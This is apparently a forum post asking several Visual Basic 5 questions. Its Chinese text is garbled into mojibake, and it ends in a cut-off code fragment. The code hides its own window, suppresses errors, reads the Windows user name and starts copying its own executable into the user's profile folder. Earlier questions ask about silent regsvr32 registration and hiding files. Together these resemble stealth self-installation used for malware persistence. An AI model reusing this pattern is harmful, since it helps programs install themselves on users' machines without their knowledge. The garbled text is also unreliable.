vb 5´óÎÊÌâ

1.ÓÃShell "regsvr32  " & App.Path & "\abcdefghijklmnopqrstuvwxyz.ocx"×¢²á¿Ø¼þ£¬Ôõô²»ÏÔʾע²á³É¹¦¶Ô»°¿ò£¿
2.ÐÞ¸Äd:\12345.txtÊôÐÔ->Ö»¶Á£¬·ÇÖ»¶Á£¬Òþ²Ø£¬·ÇÒþ²Ø
3.ÔÚd:\54321.txtµÚÎå¶Îºó¼Ó"1234567890qwertyuiopasdfghjklzxcvbnm"
4.°Ñ×Ô¼º³ÌÐòÀïµÄͼƬimage.picture(256É«)±£´æµ½wc:\12311231345345.bmp(256É«)
5.¸øÏÂÃæµÄ³ÌÐò¼ÓÒ»µãÊÓ¾õЧ¹û£¨×Ô¼ºµÄÒ»¸ö³ÌÐòµÄÒ»²¿·ÖµÄÌáÈ¡µÄ¹£¸ÅµÄ¸Ä°æ£©
Public b, a As Long
Public c As String
Private Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, nSize As Long) As Long

Public Function NTDomainUserName() As String
Dim strBuffer As String * 255
Dim lngBufferLength As Long
Dim lngRet As Long
Dim strTemp As String

lngBufferLength = 255
lngRet = GetUserName(strBuffer, lngBufferLength)
strTemp = UCase(Trim$(strBuffer))
NTDomainUser = strTemp
NTDomainUserName = Left$(strTemp, Len(strTemp) - 1)
End Function

Private Sub Form_Load()
On Error Resume Next
Form1.Hide
c = ""
For b = 1 To Len(NTDomainUserName)
If Mid(NTDomainUserName, b, 1) <> " " Then c = c & Mid(NTDomainUserName, b, 1)
Next b
Text1 = c
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Documents and Settings\" &